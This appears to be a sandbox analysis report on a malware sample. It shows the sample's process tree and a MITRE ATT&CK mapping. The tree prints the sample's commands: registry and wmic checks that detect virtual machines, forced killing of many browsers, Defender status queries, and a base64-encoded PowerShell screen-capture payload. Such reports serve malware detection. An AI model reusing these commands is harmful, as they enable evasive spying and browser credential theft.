- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\HARDWARE\ACPI\DSDT\VBOX__""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3212
- - C:\Windows\System32\reg.exe
    reg query "HKLM\HARDWARE\ACPI\DSDT\VBOX__"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    PID:3920
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2688
- - C:\Windows\System32\reg.exe
    reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions"
    3⤵
    - Looks for VirtualBox Guest Additions in registry
    PID:1848
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1340
- - C:\Windows\System32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest"
    3⤵
    - Enumerates VirtualBox registry keys
    PID:2772
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1504
- - C:\Windows\System32\reg.exe
    reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools"
    3⤵
    - Looks for VMWare Tools registry key
    PID:4500
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmmouse""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4420
- - C:\Windows\System32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmmouse"
    3⤵
    - Looks for VMWare services registry key.
    PID:5852
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\KVM""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2340
- - C:\Windows\System32\reg.exe
    reg query "HKLM\SOFTWARE\KVM"
    3⤵
    PID:5876
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get model"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2408
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic computersystem get model
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4376
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "Get-WmiObject -List | Where-Object {$_.Name -match 'Xen|HyperV|VirtualPC'}""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2036
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "Get-WmiObject -List | Where-Object {$_.Name -match 'Xen|HyperV|VirtualPC'}"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5744
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic bios get serialnumber"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2772
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic bios get serialnumber
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4648
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "[System.Windows.Forms.Cursor]::Position.X""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2752
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "[System.Windows.Forms.Cursor]::Position.X"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3260
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic cpu get processorid"
  2⤵
  PID:4272
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic cpu get processorid
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5876
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber"
  2⤵
  PID:3240
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic baseboard get serialnumber
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3492
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "vol c:"
  2⤵
  PID:5456
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe /T"
  2⤵
  PID:5344
- - C:\Windows\System32\taskkill.exe
    taskkill /F /IM chrome.exe /T
    3⤵
    - Kills process with taskkill
    PID:5744
- C:\Users\Admin\AppData\Local\Programs\WatchBeam\WatchBeam.exe
  "C:\Users\Admin\AppData\Local\Programs\WatchBeam\WatchBeam.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\WatchBeam" --app-path="C:\Users\Admin\AppData\Local\Programs\WatchBeam\resources\app.asar" --no-sandbox --no-zygote --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --time-ticks-at-unix-epoch=-1782384148050623 --launch-time-ticks=634941333 --field-trial-handle=1824,i,16970869914200592200,8191635272975566878,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1828,i,15015639253223467456,11385353814399690869,4 --trace-process-track-uuid=3190708990060038890 --mojo-platform-channel-handle=2804 /prefetch:1
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:1196
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe /T"
  2⤵
  PID:6132
- - C:\Windows\System32\taskkill.exe
    taskkill /F /IM msedge.exe /T
    3⤵
    - Kills process with taskkill
    PID:5876
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe /T"
  2⤵
  PID:5736
- - C:\Windows\System32\taskkill.exe
    taskkill /F /IM brave.exe /T
    3⤵
    - Kills process with taskkill
    PID:5284
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe /T"
  2⤵
  PID:4892
- - C:\Windows\System32\taskkill.exe
    taskkill /F /IM opera.exe /T
    3⤵
    - Kills process with taskkill
    PID:472
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe /T"
  2⤵
  PID:6112
- - C:\Windows\System32\taskkill.exe
    taskkill /F /IM opera.exe /T
    3⤵
    - Kills process with taskkill
    PID:2456
- C:\Users\Admin\AppData\Local\Programs\WatchBeam\WatchBeam.exe
  "C:\Users\Admin\AppData\Local\Programs\WatchBeam\WatchBeam.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\WatchBeam" --field-trial-handle=1824,i,16970869914200592200,8191635272975566878,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1828,i,15015639253223467456,11385353814399690869,4 --trace-process-track-uuid=3190708990997080739 --mojo-platform-channel-handle=3576 /prefetch:11
  2⤵
  - Executes dropped EXE
  PID:6000
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM vivaldi.exe /T"
  2⤵
  PID:696
- - C:\Windows\System32\taskkill.exe
    taskkill /F /IM vivaldi.exe /T
    3⤵
    - Kills process with taskkill
    PID:2736
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM yandex.exe /T"
  2⤵
  PID:5100
- - C:\Windows\System32\taskkill.exe
    taskkill /F /IM yandex.exe /T
    3⤵
    - Kills process with taskkill
    PID:1864
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM orbitum.exe /T"
  2⤵
  PID:2904
- - C:\Windows\System32\taskkill.exe
    taskkill /F /IM orbitum.exe /T
    3⤵
    - Kills process with taskkill
    PID:3416
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM atom.exe /T"
  2⤵
  PID:4704
- - C:\Windows\System32\taskkill.exe
    taskkill /F /IM atom.exe /T
    3⤵
    - Kills process with taskkill
    PID:1960
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM kometa.exe /T"
  2⤵
  PID:1632
- - C:\Windows\System32\taskkill.exe
    taskkill /F /IM kometa.exe /T
    3⤵
    - Kills process with taskkill
    PID:5528
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM torch.exe /T"
  2⤵
  PID:2708
- - C:\Windows\System32\taskkill.exe
    taskkill /F /IM torch.exe /T
    3⤵
    - Kills process with taskkill
    PID:3256
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM amigo.exe /T"
  2⤵
  PID:252
- - C:\Windows\System32\taskkill.exe
    taskkill /F /IM amigo.exe /T
    3⤵
    - Kills process with taskkill
    PID:4184
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM coccoc.exe /T"
  2⤵
  PID:2536
- - C:\Windows\System32\taskkill.exe
    taskkill /F /IM coccoc.exe /T
    3⤵
    - Kills process with taskkill
    PID:4820
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM uran.exe /T"
  2⤵
  PID:4416
- - C:\Windows\System32\taskkill.exe
    taskkill /F /IM uran.exe /T
    3⤵
    - Kills process with taskkill
    PID:2456
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM slimjet.exe /T"
  2⤵
  PID:2292
- - C:\Windows\System32\taskkill.exe
    taskkill /F /IM slimjet.exe /T
    3⤵
    - Kills process with taskkill
    PID:2364
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM ivaldi.exe /T"
  2⤵
  PID:1764
- - C:\Windows\System32\taskkill.exe
    taskkill /F /IM ivaldi.exe /T
    3⤵
    - Kills process with taskkill
    PID:1276
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe /T"
  2⤵
  PID:2456
- - C:\Windows\System32\taskkill.exe
    taskkill /F /IM firefox.exe /T
    3⤵
    - Kills process with taskkill
    PID:1808
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get model"
  2⤵
  PID:1276
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic computersystem get model
    3⤵
    PID:3584
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "Get-MpComputerStatus""
  2⤵
  PID:3440
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "Get-MpComputerStatus"
    3⤵
    PID:1404
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "Get-MpComputerStatus""
  2⤵
  PID:2388
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "Get-MpComputerStatus"
    3⤵
    PID:5628
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand CgAgACAAIAAgACAAIAAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwAKACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzACwAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBpAHQAbQBhAHAAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAEQAcgBhAHcAaQBuAGcALgBCAGkAdABtAGEAcAAoACQAcwBjAHIAZQBlAG4ALgBXAGkAZAB0AGgALAAgACQAcwBjAHIAZQBlAG4ALgBIAGUAaQBnAGgAdAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMAIAA9ACAAWwBEAHIAYQB3AGkAbgBnAC4ARwByAGEAcABoAGkAYwBzAF0AOgA6AEYAcgBvAG0ASQBtAGEAZwBlACgAJABiAGkAdABtAGEAcAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBDAG8AcAB5AEYAcgBvAG0AUwBjAHIAZQBlAG4AKAAwACwAMAAsADAALAAwACwAJABzAGMAcgBlAGUAbgAuAFMAaQB6AGUAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBpAHQAbQBhAHAALgBTAGEAdgBlACgAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHMAeQBzAF8AdwBpAG4AXwA5ADEAMAA3AC4AcABuAGcAJwApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQA7ACAAJABiAGkAdABtAGEAcAAuAEQAaQBzAHAAbwBzAGUAKAApAAoACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHMAeQBzAF8AdwBpAG4AXwA5ADEAMAA3AC4AcABuAGcAJwApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABmAGkAbABlAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAEIAeQB0AGUAcwAoACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABzAHkAcwBfAHcAaQBuAF8AOQAxADAANwAuAHAAbgBnACcAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABJAG0AYQBnAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABmAGkAbABlAEIAeQB0AGUAcwApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAcwB5AHMAXwB3AGkAbgBfADkAMQAwADcALgBwAG4AZwAnACAALQBGAG8AcgBjAGUACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABiAGEAcwBlADYANABJAG0AYQBnAGUACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIARQBSAFIATwBSACIACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAA"
  2⤵
  PID:4696
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand CgAgACAAIAAgACAAIAAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwAKACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzACwAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBpAHQAbQBhAHAAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAEQAcgBhAHcAaQBuAGcALgBCAGkAdABtAGEAcAAoACQAcwBjAHIAZQBlAG4ALgBXAGkAZAB0AGgALAAgACQAcwBjAHIAZQBlAG4ALgBIAGUAaQBnAGgAdAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMAIAA9ACAAWwBEAHIAYQB3AGkAbgBnAC4ARwByAGEAcABoAGkAYwBzAF0AOgA6AEYAcgBvAG0ASQBtAGEAZwBlACgAJABiAGkAdABtAGEAcAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBDAG8AcAB5AEYAcgBvAG0AUwBjAHIAZQBlAG4AKAAwACwAMAAsADAALAAwACwAJABzAGMAcgBlAGUAbgAuAFMAaQB6AGUAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBpAHQAbQBhAHAALgBTAGEAdgBlACgAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHMAeQBzAF8AdwBpAG4AXwA5ADEAMAA3AC4AcABuAGcAJwApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQA7ACAAJABiAGkAdABtAGEAcAAuAEQAaQBzAHAAbwBzAGUAKAApAAoACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHMAeQBzAF8AdwBpAG4AXwA5ADEAMAA3AC4AcABuAGcAJwApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABmAGkAbABlAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAEIAeQB0AGUAcwAoACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABzAHkAcwBfAHcAaQBuAF8AOQAxADAANwAuAHAAbgBnACcAKQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABJAG0AYQBnAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABmAGkAbABlAEIAeQB0AGUAcwApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAcwB5AHMAXwB3AGkAbgBfADkAMQAwADcALgBwAG4AZwAnACAALQBGAG8AcgBjAGUACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABiAGEAcwBlADYANABJAG0AYQBnAGUACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIARQBSAFIATwBSACIACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAA
    3⤵
    PID:3068

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:2676

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...